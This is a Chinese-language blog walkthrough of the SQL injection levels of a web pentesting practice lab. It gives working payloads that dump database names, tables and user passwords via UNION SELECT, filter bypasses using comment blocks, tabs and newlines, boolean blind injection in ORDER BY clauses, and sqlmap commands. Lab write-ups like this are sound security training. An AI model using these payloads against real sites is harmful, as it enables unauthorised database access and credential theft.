首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Web Pentester Sqlinject

Web Pentester Sqlinject

作者头像
企鹅号小编
发布2018-01-03 14:26:27
7810
发布2018-01-03 14:26:27
举报
文章被收录于专栏:企鹅号快讯企鹅号快讯

4、 SQL注入题目

4.1 sql1

url为http://129.129.1.38/sqli/example1.php?name=root,下面显示id、name、age的表格。因为是考注入,name的值是直接入数据库查询的。注入先测试单引号'、双引号"、反引号`等。

1.当输入单引号,url为http://129.129.1.38/sqli/example1.php?name=root'表格直接没了,说明很可能有注入,

2.把单引号后面加入注释或再加一个单引号闭合,(注释包括行注释编码的井号#(%23)、行注释两个短横杠加空格-- s、块注释/*)

http://129.129.1.38/sqli/example1.php?name=root' '或http://129.129.1.38/sqli/example1.php?name=root' -- s都能显示正常,说明有注入

3.测试and及or,试and 1=1,and 1=2,or 1=1, or 1=2,如http://129.129.1.38/sqli/example1.php?name=root' or 1=1 -- s, 看看有什么不同,再联想下服务端的具体select查询语句想想为什么是这个结果。

4.测试order by看表有几个字段,从order by 1,order by 5, order by 8,order by 6,如http://129.129.1.38/sqli/example1.php?name=root' order by 5 -- s和http://129.129.1.38/sqli/example1.php?name=root' order by 6 -- s 看看具体的差别,同学习下sql查询语句的order by想一下原因及为什么要测字段数量。

5.测试union select看看几个字段显示出来。http://129.129.1.38/sqli/example1.php?name=root' and 1=2 union select 1,2,3,4,5 -- s 注意,为什么要加入and 1=2,不加行不行,为什么联合查询到1,2,3,4,5,多一个少一个如1,2,3,4行不行? 显示的1,2,3分别代表什么?

6.测试union select查看数据库、用户等信息。如http://129.129.1.38/sqli/example1.php?name=root' and 1=2 union select database(),user(),version(),4,5 -- s 这样就获得了mysql的版号,当前库名,Web使用的数据库用户名。

7.测试union select通过联合查询跨库查系统库和表,都在information_schema库中。

首先在schemata的表中搜索当前用户可查询哪些库schema_name。

http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),schema_name,version(),4,5 from information_schema.schemata-- s

然后在tables表中搜索在相关库table_schema中有哪些表table_name。

http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),table_name,version(),4,5 from information_schema.tables where table_schema = "exercises"-- s

然后在columns表中搜索相关库table_schema的相关表table_name中有哪些字段column_name。

http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),column_name,version(),4,5 from information_schema.columns where table_schema = "exercises" and table_name = "users"-- s

然后利用知道exercies库的user表中的字段名,找出对应的name和passwd。

http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),name,passwd,4,5 from users -- s

至此,第一关完整结束。

注:最简单的sql注入步骤,1、先利用单双引号、减号、and和or及sql语句注释符判断是否存在注入,以及存在那种类型的注入;2、看是否支持order by,利用order by找到当前查询的字段数量;3、看是否支持联合查询,利用union select查看查询后相关字段的显示位置,然后利用联合查询information_schema库依次找到Web对应的库、表、字段。4、利用联合查询把你想看的库、表、字段给显示出来。

多了解数据库特定函数,database();version();user();current_user();session_user();system_user()等。

4.2 sql2

url为http://192.168.1.119/sqli/example2.php?name=root,下面显示内容与sql1一样。

1、首先是判断是否有注入:

1.1用name=root1,下面有表格,无内容;

1.2用name=root',表格都没有了,应该是有注入;

1.3用name=root'%23,显示正常,说明有注入;

1.4用name=root' %23 ,显示ERRPR NO SPACE,猜测过滤了空格,

2、绕过过滤

一般过滤空格可用%09(制表符),/**/(注释块)来隔开,同时还有其他ASCII符号也可以,可以多试试。如果使用hackbar插件,里面有一键spaces to inline comments,使用的就是/**/注释块,注意-- s中的空格不能用/**/代替。

2.1用name=root'--%09s,成功显示表格内容,证明服务端sql语句可用单引号闭合,过滤空格可用%09代替。

剩余的步骤和sql1一样了。

name=root'/**/and/**/1=2/**/union/**/select/**/1,schema_name,3,4,5/**/from/**/information_schema.schemata%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/"exercises"%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,column_name,3,4,5/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"users"%23

name=root'/**/and/**/1=2/**/union/**/select/**/name,passwd,3,4,5/**/from/**/users%23

3、使用sqlmap

sqlmap自带一些tamper,可以绕过相关过滤。

python2 sqlmap.py -u http://192.168.0.102/sqli/example2.php?name=root --tamper=space2comment.py

4.3 sql3

url为http://192.168.1.119/sqli/example3.php?name=root,下面显示内容与sql1\2一样。

1、首先是判断是否有注入:

1.1用name=root1,下面有表格,无内容;

1.2用name=root',表格都没有了,应该是有注入;

1.3用name=root'%23,显示正常,说明有注入;

1.4用name=root' %23 ,显示ERRPR NO SPACE,猜测过滤了空格,

1.5同sql2一样用%09(制表符)或/**/(注释块)代替空格。

name=root'/**/order/**/by/**/6%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,database(),user(),4,5%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,schema_name,3,4,5/**/from/**/information_schema.schemata%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/"exercises"%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,column_name,3,4,5/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"users"%23

name=root'/**/and/**/1=2/**/union/**/select/**/name,passwd,3,4,5/**/from/**/users%23

与sql2一模一样,那sql3的考点在哪?看服务端源码。

sql2的过滤是 if(preg_match('/ /',$_GET["name"])),就是看name里有空格就执行分支。

sql3的过滤是if(preg_match('/\s+/',$_GET["name"])),用正则,\s匹配任何空白字符,包括空格、制表符、换页符等,就是用%09不行了,但/**/来绕过过滤还可以,因此与sql2一样。

4.4 sql4

url为http://192.168.1.119/sqli/example4.php?id=2,下面显示内容与sql1\2\3一样,但url换成id了,可以先考虑数字型注入,原来的name算是字符型注入,它们的区别是数字型不需要用引号引起来,字符型需要用引号引起代表字符串,因此数字型的引号闭合与字符型不同。

1、首先是判断是否有注入:

1.1用id=1,下面有表格,用户名为admin;

1.2用id=2,下面有表格,用户名为root

1.3用id=2-1,用户名为admin

1.4用id=2-2,有表格,无内容,应该是有注入。

2、先看是否支持order by和union select联合查询。

2.2分布用

id=2 and 1=2 union select 1,2,3,4,5 --+s

id=2 and 1=2 union select 1,database(),3,4,5 --+s

id=2 and 1=2 union select 1,schema_name,3,4,5 from information_schema.schemata --+s

以上都正常,但在加入查询条件字符串时,引号出了点问题。

id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema = 'exercises' --+s 无表格,无论用单引号还是双引号,这里只能先用char字符或十六进制代替。

id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema = CHAR(101, 120, 101, 114, 99, 105, 115, 101, 115) --+s

id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema = 0x657865726369736573 --+s

下面的查询同理

id=2 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema = 0x657865726369736573 and table_name = CHAR(117, 115, 101, 114, 115)--+s

id=2 and 1=2 union select id,name,passwd,4,5 from users --+s

至于为什么不能用单引号,看服务端源代码,使用了mysql_real_escape_string($_GET["id"])对id进行了处理,mysql_real_escape_string过滤了单双引号等特殊字符。

4.5 sql5

url为http://192.168.1.119/sqli/example5.php?id=2,下面显示内容与sql1\2\3\4一样,数字型注入

1、先判断有没有注入:

id=2%23 正确

id=2'%23 错误

id=2 and 1=1%23 正确

id=2 and 1=2%23 有表格无数据,判断有注入

2、order by和union select测试

id=2 order by 5%23 正确

id=2 order by 6%23 错误,说明5列

id=2 and 1=2 union select 1,2,3,4,5%23

id=2 and 1=2 union select user(),database(),version(),4,5%23

id=2 and 1=2 union select 1,schema_name,3,4,5 from information_schema.schemata%23

id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema='exercises'%23

id=2 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema='exercises' and table_name='users'%23

id=2 and 1=2 union select id,name,passwd,4,5 from users%23

没任何过滤的做完sql5,比sql4还简单。。看看源代码

!preg_match('/^[0-9]+/',$_GET["id"]), id必须以数字开头。。。估计是用来过滤-1的,用-1的话就可以不用and1=2了。

4.6 sql6

url为http://192.168.0.102/sqli/example6.php?id=2,下面显示内容与sql1\2\3\4一样,数字型注入

id=2%23报错ERROR INTEGER REQUIRED,

好吧,刚看完sql5的源代码,是必须以数字开头,那这个sql6很可能是同时必须以数字结尾

id=2%23 2猜对了,后面的同sql5后面加空格2。不写了。

id=2 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema='exercises' and table_name='users'%23 2

id=2 and 1=2 union select id,name,passwd,4,5 from users %23 2

看源代码,

!preg_match('/[0-9]+$/',$_GET["id"]), id必须以数字结尾,出题人明显在应付凑题啊。

4.7 sql7

url为http://192.168.0.102/sqli/example7.php?id=2,下面显示内容与sql1\2\3\4一样,数字型注入

id=2%23报错ERROR INTEGER REQUIRED,

id=2%23 2报错ERROR INTEGER REQUIRED,完了,刚说完凑题,这道直接不会了。

看源代码,

!preg_match('/^-?[0-9]+$/m',$_GET["id"]), id必须以数字开头和结尾,就是必须是数字,dan最后有个/m,就是正则表达式只检查1行,想要绕过就用\n分行,\n后面的字符串preg_match就不管了,\n的ascii十六进制是%0a。

id=2%0a and 1=1 -- 22 正确

id=2%0a and 1=2 -- 22 有表格无数据,证明有注入。

剩下的与sql5一样了,就是把2后面直接加%0a,中间不能由任何包括空格在内的字符。

id=2%0a order by 5%23 2

id=2%0a and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema='exercises' and table_name='users'%23 2

id=2%0a and 1=2 union select id,name,passwd,4,5 from users %23 2

还是凑题。

4.8 sql8

url为http://192.168.0.102/sqli/example8.php?order=name, 排序下的注入。

猜测服务端sql查询预计为select * from users order by name。然后name是可直接输入的。在sql语句中,name可以直接用,也可以加反引号``,因此我们在做闭合要考虑这两个方向。

order=age 看到排序有变化,说明猜测正确。

在分别用

order=name` desc %23

order=name` asc %23 能看到两种不同排序,说明asc和desc也放到sql语句中执行了。

因为order by的内容用反引号保护了,我们就不能用5,6来判断select的数量了,而且order by和limit应该是sql语句的最后,因此后面也不能接union联合查询了。

一个正常的select语句如下

SELECT[ALLDISTINCTDISTINCTROW] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHESQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROMtable_references [WHEREwhere_condition] [GROUPBY[ASCDESC], ... [WITHROLLUP]] [HAVINGwhere_condition] [ORDERBY[ASCDESC], ...] [LIMIT{[offset,]row_countrow_countOFFSEToffset}] [PROCEDUREprocedure_name(argument_list)] [INTOOUTFILE'file_name'export_optionsINTODUMPFILE'file_name'INTOvar_name [, var_name]] [FORUPDATELOCKINSHAREMODE]]

order by 里面能用的只能是它后面的字段名、字段序号(整型数字),这里我们可以利用if,case when,mid,ord等mysql的函数来构造分别输出正确和错误的内容,最终判断想要获得的字符串。

如:

order=name`,if(1=1,1,(select 1 from information_schema.tables))%23 正确

order=name`,if(1=2,1,(select 1 from information_schema.tables))%23 错误

这样就能利用1=1和1=2进行盲注,具体如:

order=name`,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>100,1,(select 1 from information_schema.tables))%23

order=name`,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>101,1,(select 1 from information_schema.tables))%23 分别正确和错误,说明information_schema.schemata表查询库名的第2个库名的第一个字母ascii为101,字母是e。

依次类推用盲注的手段获得后续的完整库名、表名、字段名、具体字段等信息。

sqlmap用法:

python sqlmap.py -u "http://192.168.1.108/sqli/example8.php?order=name" -p order --prefix='`' --suffix=# --level=5 --risk=3

注意这里面的坑,反引号必须用单引号括起来,如果用双引号的话,sqlmap会认为你没闭合,直接出个>让你继续写sqlmap命令。

sqlmap这一题的payload是http://192.168.1.108/sqli/example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),6,1))>104) THEN 0x6e616d65 ELSE 0x28 END))#

4.9 sql9

url为http://192.168.1.104/sqli/example9.php?order=name, 排序下的注入,

因为order只能是用反引号或直接使用,先测试用反引号

order=name` %23无表

order=name %23正确,说明比sql8还简单,都不用反引号闭合。

order=name desc %23

再测试直接输入

order=name`,if(1=1,1,(select 1 from information_schema.tables))%23 正确

order=name`,if(1=2,1,(select 1 from information_schema.tables))%23 错误

order=name ,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>100,1,(select 1 from information_schema.tables))%23

order=name ,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>101,1,(select 1 from information_schema.tables))%23

后面就都一样了,

sqlmap也一样,直接--suffix=# --level=5 --risk=3。

python sqlmap.py -u "http://192.168.1.104/sqli/example9.php?order=name" --suffix=# --level=5 --risk=3

Parameter: order (GET)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: order=name RLIKE (SELECT (CASE WHEN (9289=9289) THEN 0x6e616d65 ELSE 0x28 END))#

本文来自企鹅号 - Geeksbaby媒体

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文来自企鹅号 - Geeksbaby媒体

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档